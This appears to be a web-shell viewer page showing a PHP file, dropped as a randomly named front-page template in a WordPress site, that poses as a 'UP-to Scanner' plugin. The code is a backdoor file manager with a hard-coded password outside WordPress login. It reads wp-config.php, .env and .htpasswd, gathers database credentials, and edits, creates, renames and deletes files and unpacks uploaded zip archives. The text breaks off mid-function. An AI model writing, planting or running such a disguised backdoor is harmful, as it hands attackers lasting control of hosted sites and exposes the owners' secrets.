HEX
Server: Apache
System: Linux hostingsrv18.dondominio.com 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64
User: (335769)
PHP: 8.1.34
Disabled: system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
Upload Files
File: /hosting/www/kipepeo.es/public/wp-content/front-page-template-1781263379.php
<!--3g2t2lGO-->
<?php
/*
Plugin Name: UP-to Scanner
Description: Server tree scanner and config inspector for WordPress admin.
Version: 1.1.0
Author: Local
*/

if (!function_exists('up_to_wp_mode')) {
    function up_to_wp_mode() {
        return defined('UP_TO_WP_MODE') && UP_TO_WP_MODE;
    }
    function up_to_wp_action_param() {
        return up_to_wp_mode() ? 'up_to_action' : 'action';
    }
    function up_to_wp_endpoint_url_value() {
        if (up_to_wp_mode() && defined('UP_TO_WP_ENDPOINT_URL')) {
            return UP_TO_WP_ENDPOINT_URL;
        }
        $uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '';
        return $uri !== '' ? $uri : (isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : '');
    }
    function up_to_wp_runtime_base_dir() {
        if (up_to_wp_mode() && defined('UP_TO_WP_RUNTIME_BASE_DIR')) {
            return UP_TO_WP_RUNTIME_BASE_DIR;
        }
        return dirname(__FILE__);
    }
    function up_to_wp_storage_base_dir() {
        if (up_to_wp_mode() && defined('UP_TO_WP_STORAGE_DIR')) {
            return UP_TO_WP_STORAGE_DIR;
        }
        $dir = dirname(__FILE__) . '/data';
        if (!is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }
        return $dir;
    }
    function up_to_get_post_action() {
        if (!empty($_POST['up_to_action'])) {
            return (string) $_POST['up_to_action'];
        }
        if (!empty($_POST['action'])) {
            return (string) $_POST['action'];
        }
        return '';
    }
    function up_to_safe_header($value) {
        if (!headers_sent()) {
            header('Content-Type: ' . $value);
        }
    }
    function up_to_flush_json($data) {
        while (ob_get_level() > 0) {
            ob_end_clean();
        }
        up_to_safe_header('application/json; charset=UTF-8');
        echo json_encode($data, JSON_UNESCAPED_UNICODE);
        exit;
    }
}

if (defined('ABSPATH') && !function_exists('up_to_wp_register_admin_page')) {
    function up_to_wp_get_app_url() {
        return wp_nonce_url(admin_url('admin-ajax.php?action=up_to_scanner'), 'up_to_scanner_app');
    }
    function up_to_wp_register_admin_page() {
        add_management_page('UP-to Scanner', 'UP-to Scanner', 'manage_options', 'up-to-scanner', 'up_to_wp_render_admin_page');
    }
    function up_to_wp_render_admin_page() {
        if (!current_user_can('manage_options')) {
            wp_die(esc_html__('Недостаточно прав.', 'up-to-scanner'));
        }
        $src = up_to_wp_get_app_url();
        echo '<div class="wrap">';
        echo '<h1>UP-to Scanner</h1>';
        echo '<iframe src="' . esc_url($src) . '" style="width:100%;min-height:88vh;border:1px solid #ccd0d4;border-radius:8px;background:#fff;"></iframe>';
        echo '</div>';
    }
    function up_to_wp_handle_app_request() {
        if (!current_user_can('manage_options')) {
            wp_die(esc_html__('Недостаточно прав.', 'up-to-scanner'), 403);
        }
        if (defined('DOING_AJAX') && DOING_AJAX) {
            check_ajax_referer('up_to_scanner_app');
        } else {
            check_admin_referer('up_to_scanner_app');
        }
        if (!defined('UP_TO_WP_MODE')) {
            define('UP_TO_WP_MODE', true);
        }
        if (!defined('UP_TO_WP_ENDPOINT_URL')) {
            define('UP_TO_WP_ENDPOINT_URL', up_to_wp_get_app_url());
        }
        if (!defined('UP_TO_WP_RUNTIME_BASE_DIR')) {
            $runtime_base = realpath(ABSPATH);
            define('UP_TO_WP_RUNTIME_BASE_DIR', $runtime_base !== false ? $runtime_base : ABSPATH);
        }
        if (!defined('UP_TO_WP_STORAGE_DIR')) {
            $uploads = wp_upload_dir();
            $storage_dir = trailingslashit($uploads['basedir']) . 'up-to-scanner';
            if (!is_dir($storage_dir)) {
                wp_mkdir_p($storage_dir);
            }
            define('UP_TO_WP_STORAGE_DIR', $storage_dir);
        }
        if (!empty($_POST['up_to_action'])) {
            $_POST['action'] = (string) $_POST['up_to_action'];
        }
        nocache_headers();
        up_to_run_app();
        exit;
    }
    add_action('admin_menu', 'up_to_wp_register_admin_page');
    add_action('admin_post_up_to_scanner_app', 'up_to_wp_handle_app_request');
    add_action('wp_ajax_up_to_scanner', 'up_to_wp_handle_app_request');
}

function up_to_run_app() {
    while (ob_get_level() > 0) {
        ob_end_clean();
    }
    ob_start();

    if (up_to_wp_mode()) {
        ini_set('display_errors', '0');
        error_reporting(0);
    } else {
        ini_set('display_errors', '1');
        error_reporting(E_ALL);
    }

    $post_action = up_to_get_post_action();
    $is_json_action = ($post_action !== '' && $post_action !== 'app_login' && $post_action !== 'dump_database');
    if (!$is_json_action && $post_action !== 'dump_database') {
        up_to_safe_header('text/html; charset=UTF-8');
    }

    if (!up_to_wp_mode() && session_status() === PHP_SESSION_NONE && !headers_sent()) {
        @session_start();
    }

/**
 * Пароль доступа к скрипту.
 * Сменить: _APP_PWD_CIPHER в app_password_expected_hash()
 * (base64_encode(hash('sha256', 'ВАШ_ПАРОЛЬ' . 'u2_scan_v1', true))).
 */
function app_pwd_salt() {
    return 'u2_scan_v1';
}
function app_password_expected_hash() {
    $_APP_PWD_CIPHER = 'jrtPERdtkXcEmCeeXg7cImVOVpGesDxXCl7Yoq6ALr0=';
    $raw = base64_decode($_APP_PWD_CIPHER, true);
    return ($raw !== false && strlen($raw) === 32) ? $raw : '';
}
function app_verify_password($plain) {
    $expected = app_password_expected_hash();
    if ($expected === '') return false;
    $actual = hash('sha256', (string) $plain . app_pwd_salt(), true);
    return hash_equals($expected, $actual);
}
function app_auth_token() {
    $sid = session_status() === PHP_SESSION_ACTIVE ? session_id() : 'wp';
    return hash('sha256', app_password_expected_hash() . '|' . $sid . '|' . up_to_wp_runtime_base_dir());
}
function app_is_authenticated() {
    if (up_to_wp_mode()) {
        return function_exists('current_user_can') && current_user_can('manage_options');
    }
    return !empty($_SESSION['up_to_auth']) && hash_equals(app_auth_token(), (string) $_SESSION['up_to_auth']);
}
function app_login($password) {
    if (!app_verify_password($password)) return false;
    $_SESSION['up_to_auth'] = app_auth_token();
    return true;
}
function app_logout() {
    unset($_SESSION['up_to_auth']);
}
function app_auth_fail_json() {
    up_to_flush_json(array('success' => false, 'error' => 'Требуется авторизация'));
}
function app_render_login_page($error = '') {
    while (ob_get_level() > 0) {
        ob_end_clean();
    }
    up_to_safe_header('text/html; charset=UTF-8');
    $err = $error !== '' ? '<p class="login-err">' . h($error) . '</p>' : '';
    echo '<!doctype html><html lang="ru"><head><meta charset="UTF-8"><title>Вход</title>'
        . '<meta name="viewport" content="width=device-width,initial-scale=1">'
        . '<style>body{font-family:Segoe UI,Arial,sans-serif;background:#f0f4f8;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0}'
        . '.login-box{background:#fff;padding:32px 36px;border-radius:12px;box-shadow:0 4px 24px rgba(0,0,0,.12);max-width:400px;width:100%}'
        . 'h1{font-size:18px;margin:0 0 8px}p.hint{font-size:12px;color:#666;margin:0 0 20px;line-height:1.5}'
        . 'label{font-size:12px;font-weight:600;color:#555}input{width:100%;padding:10px 12px;border:1px solid #ccc;border-radius:6px;font-size:14px;margin:6px 0 16px}'
        . 'button{width:100%;padding:11px;background:#1565c0;color:#fff;border:none;border-radius:6px;font-size:14px;cursor:pointer}'
        . 'button:hover{background:#0d47a1}.login-err{background:#ffebee;color:#c62828;padding:8px 12px;border-radius:6px;font-size:12px;margin-bottom:12px}'
        . 'code{font-size:11px;background:#f5f5f5;padding:2px 6px;border-radius:3px}</style></head><body>'
        . '<div class="login-box"><h1>🔒 Site Scanner</h1>'
        . $err
        . '<form method="post"><input type="hidden" name="action" value="app_login">'
        . '<label>Пароль</label><input type="password" name="password" autofocus required autocomplete="current-password">'
        . '<button type="submit">Войти</button></form></div></body></html>';
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'app_login') {
    $pwd = isset($_POST['password']) ? (string) $_POST['password'] : '';
    if (app_login($pwd)) {
        header('Location: ' . (isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : ''));
        exit;
    }
    app_render_login_page('Неверный пароль');
}
if (isset($_GET['logout'])) {
    app_logout();
    header('Location: ' . (isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''));
    exit;
}
if ($post_action !== '' && $post_action !== 'app_login' && !app_is_authenticated()) {
    app_auth_fail_json();
}

function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

function up_to_normalize_dir($path) {
    $path = rtrim(str_replace('\\', '/', trim((string) $path)), '/');
    if ($path === '') {
        return '';
    }
    $real = @realpath($path);
    return ($real !== false) ? rtrim(str_replace('\\', '/', $real), '/') : $path;
}

function up_to_path_within_root($path, $root) {
    $p = up_to_normalize_dir($path);
    $r = up_to_normalize_dir($root);
    if ($p === '' || $r === '') {
        return false;
    }
    return strpos($p . '/', $r . '/') === 0;
}

function site_state_normalize_path($path) {
    $path = str_replace('\\', '/', trim((string) $path));
    $path = preg_replace('#/+#', '/', $path);
    if ($path === '') return '';
    $real = @realpath($path);
    if ($real !== false) {
        $real = str_replace('\\', '/', $real);
        return rtrim($real, '/');
    }
    return rtrim($path, '/');
}
function site_state_key($path, $name = '') {
    $norm = site_state_normalize_path($path);
    if ($norm !== '') return 'p:' . md5($norm);
    $name = trim((string) $name);
    if ($name !== '') return 'n:' . md5(strtolower($name));
    return '';
}
function site_state_file_path() {
    static $resolved = null;
    if ($resolved !== null) return $resolved;
    $dir = up_to_wp_storage_base_dir();
    $candidates = array(
        $dir . '/sites-state.json',
    );
    if (!up_to_wp_mode() && function_exists('sys_get_temp_dir')) {
        $tmp = sys_get_temp_dir();
        if ($tmp) {
            $candidates[] = rtrim(str_replace('\\', '/', $tmp), '/') . '/up-to-sites-state-' . md5(__FILE__) . '.json';
        }
    }
    foreach ($candidates as $file) {
        if (is_file($file) && is_writable($file)) {
            $resolved = $file;
            return $resolved;
        }
    }
    foreach ($candidates as $file) {
        $parent = dirname($file);
        if (is_dir($parent) && is_writable($parent)) {
            $resolved = $file;
            return $resolved;
        }
    }
    $resolved = $candidates[0];
    return $resolved;
}
function site_states_migrate($data) {
    $out = array();
    foreach ($data as $k => $v) {
        if (!is_array($v)) continue;
        if (strpos((string) $k, 'p:') === 0 || strpos((string) $k, 'n:') === 0) {
            $out[$k] = $v;
            continue;
        }
        $legacyPath = is_string($k) ? $k : '';
        if ($legacyPath === '' && !empty($v['path_norm'])) {
            $legacyPath = $v['path_norm'];
        }
        if ($legacyPath === '') continue;
        $nk = site_state_key($legacyPath, isset($v['name']) ? $v['name'] : '');
        if ($nk === '') continue;
        if (!isset($out[$nk])) $out[$nk] = $v;
        else $out[$nk] = array_merge($out[$nk], $v);
        if (empty($out[$nk]['path_norm'])) {
            $out[$nk]['path_norm'] = site_state_normalize_path($legacyPath);
        }
    }
    return $out;
}
function load_site_states() {
    $path = site_state_file_path();
    if (!is_file($path)) return array();
    $raw = @file_get_contents($path);
    if ($raw === false || trim($raw) === '') return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    return site_states_migrate($data);
}
function save_site_states($data) {
    $path = site_state_file_path();
    $json = json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    if ($json === false) return false;
    $parent = dirname($path);
    if (!is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
    $written = @file_put_contents($path, $json . "\n", LOCK_EX);
    if ($written === false) {
        $written = @file_put_contents($path, $json . "\n");
    }
    return $written !== false;
}
function site_state_touch_entry(&$states, $key, $path, $name = '') {
    if ($key === '') return;
    if (!isset($states[$key]) || !is_array($states[$key])) {
        $states[$key] = array();
    }
    $norm = site_state_normalize_path($path);
    if ($norm !== '') $states[$key]['path_norm'] = $norm;
    if ($name !== '') $states[$key]['name'] = $name;
}
function merge_site_saved_state(&$site, $states) {
    $key = site_state_key($site['path'], isset($site['name']) ? $site['name'] : '');
    if ($key === '' || !isset($states[$key]) || !is_array($states[$key])) {
        $site['db_creds_manual'] = false;
        return;
    }
    $st = $states[$key];
    if (!empty($st['db_creds']) && is_array($st['db_creds'])) {
        $manual = merge_db_credentials(db_credentials_empty(), $st['db_creds']);
        if (db_credentials_is_complete($manual)) {
            $site['db_creds'] = $manual;
            $site['has_db_creds'] = true;
            $site['db_creds_manual'] = true;
        }
    } else {
        $site['db_creds_manual'] = false;
    }
}

// Статусы сайтов — отдельный простой JSON (по ключу папки), не смешиваем с db_creds
function site_status_file_path() {
    static $resolved = null;
    if ($resolved !== null) return $resolved;
    $dir = up_to_wp_storage_base_dir();
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $resolved = $dir . '/site-statuses.json';
    return $resolved;
}
function site_status_allowed($status) {
    return in_array($status, array('pending', 'ok', 'off', 'unknown'), true);
}
function site_status_storage_key($site, $name_counts = null) {
    $name = isset($site['name']) ? trim((string) $site['name']) : '';
    if ($name === '') return '';
    if ($name_counts !== null && isset($name_counts[$name]) && $name_counts[$name] > 1) {
        $norm = site_state_normalize_path(isset($site['path']) ? $site['path'] : '');
        return $name . '::' . substr(md5($norm), 0, 8);
    }
    return $name;
}
function load_site_statuses() {
    $path = site_status_file_path();
    if (!is_file($path)) {
        return site_statuses_migrate_from_legacy_state();
    }
    $raw = @file_get_contents($path);
    if ($raw === false || trim($raw) === '') return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    if (isset($data['sites']) && is_array($data['sites'])) {
        return $data['sites'];
    }
    return $data;
}
function save_site_statuses_map($sites_map) {
    $clean = array();
    foreach ($sites_map as $key => $status) {
        $key = trim((string) $key);
        if ($key === '') continue;
        $status = trim((string) $status);
        if (!site_status_allowed($status)) continue;
        $clean[$key] = $status;
    }
    $payload = array(
        'version' => 1,
        'updated' => gmdate('c'),
        'sites'   => $clean,
    );
    $path = site_status_file_path();
    $parent = dirname($path);
    if (!is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
    $json = json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    if ($json === false) return false;
    $written = @file_put_contents($path, $json . "\n", LOCK_EX);
    if ($written === false) {
        $written = @file_put_contents($path, $json . "\n");
    }
    return $written !== false;
}
function site_statuses_migrate_from_legacy_state() {
    $legacy = load_site_states();
    $imported = array();
    foreach ($legacy as $st) {
        if (!is_array($st) || !array_key_exists('site_active', $st)) continue;
        $name = !empty($st['name']) ? trim((string) $st['name']) : '';
        if ($name === '') continue;
        $imported[$name] = $st['site_active'] ? 'ok' : 'off';
    }
    if (!empty($imported)) {
        save_site_statuses_map($imported);
    }
    return $imported;
}
function merge_site_status(&$site, $statuses, $name_counts = null) {
    $key = site_status_storage_key($site, $name_counts);
    $site['status_key'] = $key;
    $status = ($key !== '' && isset($statuses[$key])) ? $statuses[$key] : 'pending';
    if (!site_status_allowed($status)) $status = 'pending';
    $site['status'] = $status;
    $site['site_active'] = ($status === 'ok');
}
function site_status_label($status) {
    $labels = array(
        'pending' => 'Ожидает',
        'ok'      => 'Работает',
        'off'     => 'Не работает',
        'unknown' => 'Не проверен',
    );
    return isset($labels[$status]) ? $labels[$status] : $labels['pending'];
}
function site_db_info_rows($site) {
    $rows = array();
    $c = !empty($site['db_creds']) ? $site['db_creds'] : array();
    $map = array(
        'DB host'    => isset($c['db_host']) ? $c['db_host'] . (isset($c['db_port']) ? ':' . $c['db_port'] : '') : '',
        'DB name'    => isset($c['db_name']) ? $c['db_name'] : '',
        'DB user'    => isset($c['db_user']) ? $c['db_user'] : '',
        'DB password'=> isset($c['db_pass']) ? $c['db_pass'] : '',
        'DB charset' => isset($c['db_charset']) ? $c['db_charset'] : '',
    );
    foreach ($map as $label => $val) {
        if ($val !== '' && $val !== null) $rows[] = array('k' => $label, 'v' => $val, 'secret' => stripos($label, 'password') !== false);
    }
    if (!empty($site['wp_vars'])) {
        foreach ($site['wp_vars'] as $k => $v) {
            if (preg_match('/^DB_/i', $k)) $rows[] = array('k' => $k . ' (wp)', 'v' => $v, 'secret' => stripos($k, 'PASSWORD') !== false);
        }
    }
    if (!empty($site['env_vars'])) {
        foreach (array('DB_HOST','DB_DATABASE','DB_NAME','DB_USERNAME','DB_USER','DB_PASSWORD','DB_CHARSET') as $ek) {
            if (!empty($site['env_vars'][$ek])) {
                $rows[] = array('k' => $ek . ' (.env)', 'v' => $site['env_vars'][$ek], 'secret' => preg_match('/PASSWORD|SECRET/i', $ek));
            }
        }
    }
    if (!empty($site['joo_vars'])) {
        foreach (array('host' => 'DB host (Joomla)', 'db' => 'DB name (Joomla)', 'user' => 'DB user (Joomla)', 'password' => 'DB password (Joomla)') as $jk => $lbl) {
            if (!empty($site['joo_vars'][$jk])) {
                $rows[] = array('k' => $lbl, 'v' => $site['joo_vars'][$jk], 'secret' => $jk === 'password');
            }
        }
    }
    return $rows;
}

// === APR1-MD5 ===
function apr1_md5($password, $salt = null) {
    if ($salt === null)
        $salt = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $salt = substr($salt, 0, 8);
    $len  = strlen($password);
    $text = $password . '$apr1$' . $salt;
    $bin  = md5($password . $salt . $password, true);
    for ($i = $len; $i > 0; $i -= 16) $text .= substr($bin, 0, min(16, $i));
    for ($i = $len; $i > 0; $i >>= 1) $text .= ($i & 1) ? chr(0) : $password[0];
    $bin = md5($text, true);
    for ($i = 0; $i < 1000; $i++) {
        $new = ($i & 1) ? $password : $bin;
        if ($i % 3) $new .= $salt;
        if ($i % 7) $new .= $password;
        $new .= ($i & 1) ? $bin : $password;
        $bin = md5($new, true);
    }
    $tmp = ''; $map = array(array(0,6,12),array(1,7,13),array(2,8,14),array(3,9,15),array(4,10,5),array(11));
    foreach ($map as $g) {
        if (count($g) === 3) { $v = (ord($bin[$g[0]])<<16)|(ord($bin[$g[1]])<<8)|ord($bin[$g[2]]); $tmp .= apr1_to64($v,4); }
        else { $v = ord($bin[$g[0]]); $tmp .= apr1_to64($v,2); }
    }
    return '$apr1$' . $salt . '$' . $tmp;
}
function apr1_to64($v, $n) {
    $chars = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    $ret = '';
    for ($i = 0; $i < $n; $i++) { $ret .= $chars[$v & 0x3f]; $v >>= 6; }
    return $ret;
}

// === AJAX: просмотр файла ===
if (isset($_POST['action']) && $_POST['action'] === 'view_file') {
    up_to_safe_header('application/json; charset=UTF-8');
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$file_path) { echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit; }
    $real_file = realpath($file_path);
    if ($site_root) {
        $real_root = realpath($site_root);
        if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) {
            echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
        }
    } else {
        $allowed_names = array('.htaccess','.htpasswd','.env','wp-config.php','configuration.php','.user.ini','xmlrpc.php');
        if (!$real_file || !in_array(basename($real_file), $allowed_names, true)) {
            echo json_encode(array('success'=>false,'error'=>'Файл не разрешён для просмотра')); exit;
        }
    }
    if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; }
    $size = filesize($real_file);
    if ($size > 512 * 1024) { echo json_encode(array('success'=>false,'error'=>'Файл слишком большой ('.round($size/1024).' KB)')); exit; }
    $content = @file_get_contents($real_file);
    if ($content === false) { echo json_encode(array('success'=>false,'error'=>'Нет доступа к файлу')); exit; }
    echo json_encode(array('success'=>true,'content'=>$content,'filename'=>basename($real_file)));
    exit;
}

// === AJAX: список файлов ===
if (isset($_POST['action']) && $_POST['action'] === 'list_files') {
    $dir       = isset($_POST['dir'])       ? $_POST['dir']       : '';
    $site_root = isset($_POST['site_root']) ? $_POST['site_root'] : '';
    $real_dir  = up_to_normalize_dir($dir);
    $real_root = up_to_normalize_dir($site_root);
    if (!$real_dir || !$real_root || !up_to_path_within_root($real_dir, $real_root)) {
        up_to_flush_json(array('success' => false, 'error' => 'Доступ запрещён (путь вне корня сайта)'));
    }
    if (!is_dir($real_dir)) {
        up_to_flush_json(array('success' => false, 'error' => 'Не директория'));
    }
    $items = @scandir($real_dir);
    if ($items === false) {
        up_to_flush_json(array('success' => false, 'error' => 'Нет доступа к каталогу (open_basedir/права)'));
    }
    $result = array();
    foreach ($items as $item) {
        if ($item === '.') continue;
        $full   = $real_dir . '/' . $item;
        $is_dir = is_dir($full);
        $size   = $is_dir ? null : @filesize($full);
        $mtime  = @filemtime($full);
        $result[] = array(
            'name'   => $item,
            'path'   => $full,
            'is_dir' => $is_dir,
            'size'   => $size,
            'mtime'  => $mtime ? date('d.m.Y H:i', $mtime) : '',
            'ext'    => $is_dir ? '' : strtolower(pathinfo($item, PATHINFO_EXTENSION)),
        );
    }
    usort($result, function($a, $b) {
        if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
        if ($a['name'] === '..') return -1;
        if ($b['name'] === '..') return 1;
        return strcasecmp($a['name'], $b['name']);
    });
    up_to_flush_json(array('success' => true, 'items' => $result, 'current' => $real_dir, 'root' => $real_root));
}

// === AJAX: чтение файла (файловый менеджер) ===
if (isset($_POST['action']) && $_POST['action'] === 'read_file') {
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $real_file = up_to_normalize_dir($file_path);
    $real_root = up_to_normalize_dir($site_root);
    if (!$real_file || !$real_root || !up_to_path_within_root($real_file, $real_root) || !is_file($real_file)) {
        up_to_flush_json(array('success' => false, 'error' => 'Доступ запрещён'));
    }
    $size = filesize($real_file);
    if ($size > 512 * 1024) {
        up_to_flush_json(array('success' => false, 'error' => 'Файл слишком большой (>'.round($size/1024).' KB)'));
    }
    $content = @file_get_contents($real_file);
    if ($content === false) {
        up_to_flush_json(array('success' => false, 'error' => 'Нет доступа'));
    }
    up_to_flush_json(array(
        'success' => true,
        'content' => $content,
        'filename' => basename($real_file),
        'size' => $size,
        'writable' => is_writable($real_file),
    ));
}

// === AJAX: сохранение файла ===
if (isset($_POST['action']) && $_POST['action'] === 'save_file') {
    up_to_safe_header('application/json; charset=UTF-8');
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $content   = isset($_POST['content'])   ? $_POST['content']         : '';
    $real_file = realpath($file_path);
    $real_root = realpath($site_root);
    if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; }
    if (!is_writable($real_file)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; }
    $result = file_put_contents($real_file, $content);
    if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; }
    echo json_encode(array('success'=>true,'bytes'=>$result));
    exit;
}

// === AJAX: создание файла ===
if (isset($_POST['action']) && $_POST['action'] === 'create_file') {
    up_to_safe_header('application/json; charset=UTF-8');
    $dir_path  = isset($_POST['dir_path'])  ? trim($_POST['dir_path'])  : '';
    $file_name = isset($_POST['file_name']) ? trim($_POST['file_name']) : '';
    $content   = isset($_POST['content'])   ? $_POST['content']         : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$dir_path || !$file_name) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    $real_dir  = realpath($dir_path);
    $real_root = realpath($site_root);
    if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; }
    if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; }
    // Безопасное имя файла
    $file_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $file_name);
    $file_name = trim($file_name);
    if ($file_name === '' || $file_name === '.' || $file_name === '..') {
        echo json_encode(array('success'=>false,'error'=>'Недопустимое имя файла')); exit;
    }
    $new_file = $real_dir . '/' . $file_name;
    if (file_exists($new_file)) {
        echo json_encode(array('success'=>false,'error'=>'Файл уже существует')); exit;
    }
    $result = file_put_contents($new_file, $content);
    if ($result === false) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка создания файла')); exit;
    }
    echo json_encode(array('success'=>true,'file_path'=>$new_file,'file_name'=>$file_name,'bytes'=>$result));
    exit;
}

// === AJAX: загрузка и распаковка архива (.zip) ===
if (isset($_POST['action']) && $_POST['action'] === 'upload_archive') {
    up_to_safe_header('application/json; charset=UTF-8');
    $dir_path  = isset($_POST['dir_path'])  ? trim($_POST['dir_path'])  : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $real_dir  = realpath($dir_path);
    $real_root = realpath($site_root);
    if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; }
    if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; }
    if (!isset($_FILES['archive'])) { echo json_encode(array('success'=>false,'error'=>'Архив не передан')); exit; }
    $file = $_FILES['archive'];
    if (!isset($file['error']) || $file['error'] !== UPLOAD_ERR_OK) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка загрузки архива')); exit;
    }
    $orig_name = isset($file['name']) ? basename($file['name']) : 'archive.zip';
    $ext = strtolower(pathinfo($orig_name, PATHINFO_EXTENSION));
    if ($ext !== 'zip') {
        echo json_encode(array('success'=>false,'error'=>'Поддерживаются только .zip архивы')); exit;
    }
    if (!class_exists('ZipArchive')) {
        echo json_encode(array('success'=>false,'error'=>'Расширение ZipArchive недоступно на сервере')); exit;
    }
    $zip = new ZipArchive();
    $open_res = $zip->open($file['tmp_name']);
    if ($open_res !== true) {
        echo json_encode(array('success'=>false,'error'=>'Не удалось открыть архив')); exit;
    }

    $files_count = 0;
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        if ($entry === false) continue;
        $entry = str_replace('\\', '/', $entry);
        if ($entry === '' || substr($entry, -1) === '/') continue;
        if (preg_match('/^\//', $entry) || preg_match('/^[A-Za-z]:\//', $entry)) {
            $zip->close();
            echo json_encode(array('success'=>false,'error'=>'Недопустимый путь в архиве')); exit;
        }
        $parts = explode('/', $entry);
        foreach ($parts as $part) {
            if ($part === '' || $part === '.' || $part === '..') {
                $zip->close();
                echo json_encode(array('success'=>false,'error'=>'Архив содержит небезопасные пути')); exit;
            }
        }
        $files_count++;
    }

    if (!$zip->extractTo($real_dir)) {
        $zip->close();
        echo json_encode(array('success'=>false,'error'=>'Ошибка распаковки архива')); exit;
    }
    $zip->close();

    echo json_encode(array(
        'success' => true,
        'archive' => $orig_name,
        'files'   => $files_count
    ));
    exit;
}

// === AJAX: переименование ===
if (isset($_POST['action']) && $_POST['action'] === 'rename_item') {
    up_to_safe_header('application/json; charset=UTF-8');
    $old_path  = isset($_POST['old_path'])  ? trim($_POST['old_path'])  : '';
    $new_name  = isset($_POST['new_name'])  ? trim($_POST['new_name'])  : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$old_path || !$new_name) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    $real_old = realpath($old_path);
    $real_root = realpath($site_root);
    if (!$real_old || !$real_root || strpos($real_old, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    $new_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $new_name);
    $new_name = trim($new_name);
    if ($new_name === '' || $new_name === '.' || $new_name === '..') {
        echo json_encode(array('success'=>false,'error'=>'Недопустимое имя')); exit;
    }
    $new_path = dirname($real_old) . '/' . $new_name;
    if ($real_old === $new_path) {
        echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name)); exit;
    }
    if (file_exists($new_path)) {
        echo json_encode(array('success'=>false,'error'=>'Файл/папка с таким именем уже существует')); exit;
    }
    if (!is_writable($real_old) && !is_writable(dirname($real_old))) {
        echo json_encode(array('success'=>false,'error'=>'Нет прав на переименование')); exit;
    }
    if (!@rename($real_old, $new_path)) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка переименования')); exit;
    }
    echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name));
    exit;
}

// === AJAX: удаление ===
if (isset($_POST['action']) && $_POST['action'] === 'delete_item') {
    up_to_safe_header('application/json; charset=UTF-8');
    $item_path = isset($_POST['item_path']) ? trim($_POST['item_path']) : '';
